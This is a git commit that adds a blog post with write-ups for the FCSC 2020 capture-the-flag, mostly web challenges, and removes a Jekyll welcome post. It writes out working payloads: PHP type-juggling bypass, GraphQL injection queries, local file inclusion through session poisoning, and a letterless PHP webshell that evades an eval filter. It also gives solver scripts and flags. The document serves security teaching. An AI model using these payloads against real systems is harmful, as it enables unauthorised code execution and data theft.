FCSC 2020

pull/1/head
Swissky 2020-05-04 19:26:49 +02:00
parent 7fefdefe13
commit 4e7463d2b5
13 changed files with 426 additions and 19 deletions

View File

@ -1,19 +0,0 @@
---
layout: post
title: Welcome on my Jekyll!
---
Hi friend !
Let's talk about security tips and tricks.
<!--more-->
This blog was generated with Jekyll now, use the following commands to reproduce it.
{% highlight bash%}
git clone https://github.com/barryclark/jekyll-now
sudo gem install bundler
sudo gem install github-pages
git clone
jekyll serve
{% endhighlight %}

426
_posts/2020-04-26-FCSC.md Executable file
View File

@ -0,0 +1,426 @@
---
layout: post
title: FCSC - CTF Writeup
---
## FCSC - FRANCE CYBERSECURITY CHALLENGE 2020
Some writeups of severals web challenges from the [FCSC 2020](https://france-cybersecurity-challenge.fr).
![https://www.ssi.gouv.fr/uploads/2020/03/2020-fcsc-logo.jpg](https://www.ssi.gouv.fr/uploads/2020/03/2020-fcsc-logo.jpg)
## Challenges' Writeup
* [WEB - EnterTheDungeon](#web---enterthedungeon)
* [WEB - Rainbow Pages](#web---rainbow-pages)
* [WEB - Rainbow Pages v2](#web---rainbow-pages-v2)
* [WEB - Revision](#web---revision)
* [WEB - Bestiary](#web---bestiary)
* [WEB - Lipogramme](#web---lipogramme)
* [WEB - Flag Checker](#web---flag-checker)
* [Forensic - Petite frappe 2](#forensic---petite-frappe-2)
* [Intro - Babel](#intro---babel)
* [Intro - SuSHi](#intro---sushi)
* [Intro - Tarte Tatin](#intro---tarte-tatin)
* [Intro - Sbox](#intro---sbox)
* [Intro - Le Rat Conteur](#intro---le-rat-conteur)
<!--more-->
### WEB - EnterTheDungeon
The source code of the check_secret.php is given at `view-source:challenges2.france-cybersecurity-challenge.fr:5002/check_secret.txt`. The following code is stripped to keep only the interesting part.
```php
<?php
session_start();
$_SESSION['dungeon_master'] = 0;
?>
<?php
include('./ecsc.txt');
echo chr(10).'</pre>';
// authentication is replaced by an impossible test
//if(md5($_GET['secret']) == "a5de2c87ba651432365a5efd928ee8f2")
if(md5($_GET['secret']) == $_GET['secret'])
{
$_SESSION['dungeon_master'] = 1;
echo "Secret is correct, welcome Master ! You can now enter the dungeon";
}
?>
```
We can clearly see it is about PHP Type Juggling since we are comparing `md5($_GET['secret'])` with its value.
In PHP a value starting with **0e** and followed by numbers is considered as a float, and some MD5(value) will also result in **0e[0-9]{30}**. The comparison will then occured on two float numbers, since the code is using **==** instead of **===**, PHP will only check the object type and not the value.
We can validate the challenge using the value **0e1137126905** : http://challenges2.france-cybersecurity-challenge.fr:5002/check_secret.php?secret=0e1137126905
> Flag: FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}
### WEB - Rainbow Pages
This challenge is a basic GraphQL injection, first we see a request is made to **http://challenges2.france-cybersecurity-challenge.fr:5006/index.php?search=[BASE64]**.
Since most of the tools doesn't allow to interact with base64 I opted to build to simple proxy in Python using Flask.
```py
from flask import Flask
from flask import request
import requests
app = Flask(__name__)
@app.route("/graphql", methods=['GET'])
def graphql():
print(request)
query = request.args.get('query')
url = "http://challenges2.france-cybersecurity-challenge.fr:5006/index.php?search="
data = requests.get(url + query.encode("base64")).text
return data
if __name__ == '__main__':
app.run(host='0.0.0.0', port=4646)
```
Now every request fired to `/graphl?query=[SOMETHING]` will be "converted" for the challenge, and the result will be displayed in the page. We can now use every tools to ease our work, I like to use Altair as it's really beautiful :)
![GraphQL]({{ site.baseurl }}/images/FCSC/graphql1proxy.png "GraphL Altair"){: .center-image }
We can send the instrospection query in order to discover the schema of the GraphQL : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection#enumerate-database-schema-via-introspection.
It looks like that, once converted : `http://challenges2.france-cybersecurity-challenge.fr:5006/index.php?search=ZnJhZ21lbnQgRnVsbFR5cGUgb24gX19UeXBlIHsKICBraW5kCiAgbmFtZQogIGRlc2NyaXB0aW9uCiAgZmllbGRzKGluY2x1ZGVEZXByZWNhdGVkOiB0cnVlKSB7CiAgICBuYW1lCiAgICBkZXNjcmlwdGlvbgogICAgYXJncyB7CiAgICAgIC4uLklucHV0VmFsdWUKICAgIH0KICAgIHR5cGUgewogICAgICAuLi5UeXBlUmVmCiAgICB9CiAgICBpc0RlcHJlY2F0ZWQKICAgIGRlcHJlY2F0aW9uUmVhc29uCiAgfQogIGlucHV0RmllbGRzIHsKICAgIC4uLklucHV0VmFsdWUKICB9CiAgaW50ZXJmYWNlcyB7CiAgICAuLi5UeXBlUmVmCiAgfQogIGVudW1WYWx1ZXMoaW5jbHVkZURlcHJlY2F0ZWQ6IHRydWUpIHsKICAgIG5hbWUKICAgIGRlc2NyaXB0aW9uCiAgICBpc0RlcHJlY2F0ZWQKICAgIGRlcHJlY2F0aW9uUmVhc29uCiAgfQogIHBvc3NpYmxlVHlwZXMgewogICAgLi4uVHlwZVJlZgogIH0KfQpmcmFnbWVudCBJbnB1dFZhbHVlIG9uIF9fSW5wdXRWYWx1ZSB7CiAgbmFtZQogIGRlc2NyaXB0aW9uCiAgdHlwZSB7CiAgICAuLi5UeXBlUmVmCiAgfQogIGRlZmF1bHRWYWx1ZQp9CmZyYWdtZW50IFR5cGVSZWYgb24gX19UeXBlIHsKICBraW5kCiAgbmFtZQogIG9mVHlwZSB7CiAgICBraW5kCiAgICBuYW1lCiAgICBvZlR5cGUgewogICAgICBraW5kCiAgICAgIG5hbWUKICAgICAgb2ZUeXBlIHsKICAgICAgICBraW5kCiAgICAgICAgbmFtZQogICAgICAgIG9mVHlwZSB7CiAgICAgICAgICBraW5kCiAgICAgICAgICBuYW1lCiAgICAgICAgICBvZlR5cGUgewogICAgICAgICAgICBraW5kCiAgICAgICAgICAgIG5hbWUKICAgICAgICAgICAgb2ZUeXBlIHsKICAgICAgICAgICAgICBraW5kCiAgICAgICAgICAgICAgbmFtZQogICAgICAgICAgICAgIG9mVHlwZSB7CiAgICAgICAgICAgICAgICBraW5kCiAgICAgICAgICAgICAgICBuYW1lCiAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgfQp9CgpxdWVyeSBJbnRyb3NwZWN0aW9uUXVlcnkgewogIF9fc2NoZW1hIHsKICAgIHF1ZXJ5VHlwZSB7CiAgICAgIG5hbWUKICAgIH0KICAgIG11dGF0aW9uVHlwZSB7CiAgICAgIG5hbWUKICAgIH0KICAgIHR5cGVzIHsKICAgICAgLi4uRnVsbFR5cGUKICAgIH0KICAgIGRpcmVjdGl2ZXMgewogICAgICBuYW1lCiAgICAgIGRlc2NyaXB0aW9uCiAgICAgIGxvY2F0aW9ucwogICAgICBhcmdzIHsKICAgICAgICAuLi5JbnB1dFZhbHVlCiAgICAgIH0KICAgIH0KICB9Cn0K` also Altair provide a simple listing of the "object" and can build a query for you.
From there it was easy to click on the "Altair Button" to ask for the flag :P
![GraphQL]({{ site.baseurl }}/images/FCSC/graphql1simple.png "Ask for the flag"){: .center-image }
### WEB - Rainbow Pages v2
Another iteration of the GraphQL challenge available at http://challenges2.france-cybersecurity-challenge.fr:5007/. We can reuse our python proxy.
It appears we were inside a query instead of sending the full query like in the 1st challenge. Let's fuzz the input to see if we can trigger some errors to help understand where we are injecting.
![Fuzzing GraphQL input]({{ site.baseurl }}/images/FCSC/graphql2leakquery.png "Fuzzing the input"){: .center-image }
The blockstring `"""` helps us discover part of the query, we are inside a weird filter like the following request.
```js
{
Movie(filter: { OR: [{ year_lt: 1920 }, { title_contains: "River Runs" }] }) {
title
}
}
```
Now we can try to recreate the end of the query, and add our evil payload. At first I tried to replicate a GraphQL query using **OR** in the previous challenge thanks to the proxy.
![GraphQL Filter]({{ site.baseurl }}/images/FCSC/graphql2proxyor.png "GraphQL Filter"){: .center-image }
Then we can try to request the flag, however it is not labelled like the other challenge, but the errors are quite straightforward and will suggest the correct name.
```js
Isaac%"}}, {lastname: {like: "%barton%"}}]}) { nodes { firstname, lastname, speciality, price } } __schema{types{name}}}#
```
![GraphQL Suggest]({{ site.baseurl }}/images/FCSC/graphql2suggestion.png "GraphQL suggest"){: .center-image }
Now let's get the flag !
```js
Isaac%"}}, {lastname: {like: "%barton%"}}]}) { nodes { firstname, lastname, speciality, price } } flagNotTheSameTableNameById(id: 1){flagNotTheSameFieldName}}#
```
![GraphQL]({{ site.baseurl }}/images/FCSC/graphql2flag.png "Ask for the flag"){: .center-image }
### WEB - Revision
Once again the source code is provided, we have to upload two files but they must have the same SHA1 hashes.
```py
attachments = set([f1_hash, f2_hash])
# Debug debug...
if len(attachments) < 2:
raise StoreError([f1_hash, f2_hash], self._get_flag())
def _get_flag(self):
with open('flag.txt', 'r') as f:
flag = f.read()
return flag
```
We find two files with a SHA1 collisions on Corkami's Github:
* https://github.com/corkami/collisions/blob/master/examples/dualjpg1.pdf
* https://github.com/corkami/collisions/blob/master/examples/dualjpg2.pdf
> FCSC{8f95b0fc1a793e102a65bae9c473e9a3c2893cf083a539636b082605c40c00c1}
### WEB - Bestiary
Bestiary was a classic Local File Inclusion, abusing the session to execute arbitrary commands on the server.
First we can grab the source code by using a PHP filter : `challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=php://filter/convert.iconv.utf-8.utf-16/resource=index.php`. It will be displayed as UTF16 thus not being interpreted as a PHP code. Here is a curated extract of the code.
```php
<?php
session_save_path("./sessions/");
session_start();
include_once('flag.php'); // <------------------------------------ the flag is inside this
?>
[...]
$monster = NULL;
if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
$monster = $_SESSION['monster'];
if(isset($_GET['monster']) && !empty($_GET['monster']))
{
$monster = $_GET['monster'];
$_SESSION['monster'] = $monster;
}
if($monster !== NULL && strpos($monster, "flag") === False)
include($monster); // <-------------------------------------- vulnerability is here
else
echo "Select a monster to read his description.";
?>
```
We want to include the content of **flag.php** and bypass the filter `strpos($monster, "flag")` which denies us to directly use our wrapper to access flag.php.
The PHP code is changing the default path to save temporary file used to store PHP sessions. In PHP when you have a cookie `PHP_SESSID=3ba53bc0ae7fea081347b3f1f8cf0c41` there is a file named `sessions/sess_3ba53bc0ae7fea081347b3f1f8cf0c41` containing a "serialized" version of the cookie.
1. First we need to put our payload inside our session file : `http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=<?php%20echo%20file_get_contents(%27fl%27.%27ag.php%27);%20?>`.
2. Then we include our session file `http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=/var/www/html/sessions/sess_3ba53bc0ae7fea081347b3f1f8cf0c41`
![LFI]({{ site.baseurl }}/images/FCSC/lfi.png "LFI"){: .center-image }
> $flag="FCSC{83f5d0d1a3c9c82da282994e348ef49949ea4977c526634960f44b0380785622}";
### WEB - Lipogramme
We have the following source code, which implement a filter to limit the code executed on the server.
```php
<?php
if (isset($_GET['code'])) {
$code = substr($_GET['code'], 0, 250);
if (preg_match('/a|e|i|o|u|y|[0-9]/i', $code)) {
die('No way! Go away!');
} else {
try {
eval($code);
} catch (ParseError $e) {
die('No way! Go away!');
}
}
} else {
show_source(__FILE__);
}
```
We have to create a web shell PHP using only special characters, many webshell like that can be found on Github.
```php
/?_=system&__=ls%20-ailh&code=%24_%3D%27%24<>%2F%27%5E%27%7B%7B%7B%7B%27%3B%24%7B%24_%7D%5B_%5D%28%24%7B%24_%7D%5B__%5D%29%3B
/?_=system&__=cat+.f*&code=$_='{';$_=($_^'<').($_^'>;').($_^'/');${'_'.$_}['_'](${'_'.$_}['__']);
```
Then we execute the commands `ls -a` and `cat .f*` to bypass the filter and read the flag.
> FCSC{53d195522a15aa0ce67954dc1de7c5063174a721ee5aa924a4b9b15ba1ab6948}
### WEB - Flag Checker
A simple web asm binary where you could guess the flag cipher.
http://challenges2.france-cybersecurity-challenge.fr:5005/index.js
We can find a reference to `index.wasm` in the Javascript.
```js
var wasmBinaryFile = "index.wasm";
if (!isDataURI(wasmBinaryFile)) {
wasmBinaryFile = locateFile(wasmBinaryFile)
}
```
We can find the flag since the format is starting by FCSC.
```python
a='FE@P@x4f1g7f6ab:42`1g:f:7763133;e0e;03`6661`bee0:33fg732;b6fea44be34g0~'
for c in a:
print(chr(ord('\x03')^ord(i)))
```
> FCSC{7e2d4e5ba971c2d9e944502008f3f830c5552caff3900ed4018a5efb77af07d3}
### Forensic - Petite frappe 2
```python
import re, sys
from subprocess import *
def get_keymap():
keymap = {}
table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
for line in table:
m = re.match('keycode +(\d+) = (.+)', line.decode())
if m and m.groups()[1]:
keymap[str(m.groups()[0])] = m.groups()[1].split()[0]
return keymap
flag = ""
keymap = get_keymap()
with open('petite_frappe_2.txt', 'r') as f:
data = f.readlines()
for line in data:
m = re.match('key press +(\d+)', line.decode())
if m:
key = keymap[m.groups()[0]]
if key == "space":
flag += " "
elif key == "underscore":
flag += "_"
else:
flag += key
print(flag)
```
> FCSC{un_clavier_azerty_en_vaut_deux}
### Intro - Babel
A simple web intro were we could execute arbitrary commands : `view-source:challenges2.france-cybersecurity-challenge.fr:5001/?code=cat%20flag.php`.
```php
<?php
if (isset($_GET['source'])) {
@show_source(__FILE__);
} else if(isset($_GET['code'])) {
print("<pre>");
@system($_GET['code']);
print("<pre>");
} else {
?>
```
### Intro - SuSHi
The flag was in a hidden file `.flag`.
```powershell
ssh -p 6000 ctf@challenges2.france-cybersecurity-challenge.fr
__ __ _ __ _ _ ___
/ / /\ \ \__ _ _ __ | |_ __ _ / _\_ _ ___| |__ (_) / _ \
\ \/ \/ / _` | '_ \| __| / _` | \ \| | | / __| '_ \| | \// /
\ /\ / (_| | | | | |_ | (_| | _\ \ |_| \__ \ | | | | \/
\/ \/ \__,_|_| |_|\__| \__,_| \__/\__,_|___/_| |_|_| ()
ctf@SuSHi:~$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
ctf@SuSHi:~$ ls
ctf@SuSHi:~$ ls -a
. .. .bash_logout .bashrc .flag .profile
ctf@SuSHi:~$ cat .flag
FCSC{ca10e42620c4e3be1b9d63eb31c9e8ffe60ea788d3f4a8ae4abeac3dccdf5b21}
```
### Intro - Tarte Tatin
Using a simple decompiler such as Ghidra or IDA will give us a "pseudo" code like .
```java
iVar1 = memcmp(local_38,pass_enc,0x10);
if (iVar1 == 0) {
transform(flag_enc);
puts(flag_enc);
}
...
void transform(char *param_1)
{
char *pcVar1;
char *local_10;
local_10 = param_1;
do {
pcVar1 = local_10 + 1;
*local_10 = *local_10 + '\x01';
local_10 = pcVar1;
} while (*pcVar1 != '\0');
return;
}
```
The transform method is simple caesar cipher, we can grab the flag_enc and decrypt it .
```powershell
cat flag_enc | grep db | cut -d "'" -f2 | tr -d "\n"
Vdkk.cnmd .Sgd.ek`f.hr9.EBRBz72e30320b000/51c//2cc/102be713c55e66/`/ad02/4d1702e04cc654/2`80c|..NzTfdvs4Q4ttx1se%
```
A basic cesar -1 python code.
```python
a="Vdkk.cnmd .Sgd.ek`f.hr9.EBRBz72e30320b000/51c//2cc/102be713c55e66/`/ad02/4d1702e04cc654/2`80c|..NzTfdvs4Q4ttx1se"
secret = ""
for c in a:
secret += (chr(ord(c)-0x1))
print(secret)
```
```powershell
$ ./TarteTatin
MySecur3P3ssw0rd
Well done! The flag is: FCSC{83f41431c111062d003dd0213cf824d66f770a0be1305e2813f15dd76503a91d}
```
### Intro - Le Rat Conteur
The task is giving us the key, the cipher and the IV. We only need to use them.
```powershell
openssl enc -aes-128-ctr -d -in flag.jpg.enc -pass "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" -iv "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
```
![aes]({{ site.baseurl }}/images/FCSC/aes.png "aes"){: .center-image }
## Intro - Sbox
A very simple "cryptographic" challenge where you only have to follow the boxes
![sbox]({{ site.baseurl }}/images/FCSC/sbox.png "sbox"){: .center-image }
The following truth tables will help
![bool1]({{ site.baseurl }}/images/FCSC/bool1.png "bool1"){: .center-image }
We can reproduce the logic in Python
```python
x3 = 1
x2 = 0
x1 = 1
x0 = 0
y3 = x0 ^ (not(x3 | x2))
y2 = x3 ^ (not(x2 | x1))
y1 = x2 ^ (not(y3 | x1))
y0 = x1 ^ (not(y3 | y2))
(y3, y2, y1, y0)
```
> FCSC{0101}

BIN
images/FCSC/2020-fcsc-logo.jpg Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 128 KiB

BIN
images/FCSC/aes.jpg Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

BIN
images/FCSC/bool1.jpg Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

BIN
images/FCSC/graphql1proxy.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 82 KiB

BIN
images/FCSC/graphql1simple.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 151 KiB

BIN
images/FCSC/graphql2flag.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 73 KiB

BIN
images/FCSC/graphql2leakquery.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

BIN
images/FCSC/graphql2proxyor.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 84 KiB

BIN
images/FCSC/lfi.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

BIN
images/FCSC/sbox.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB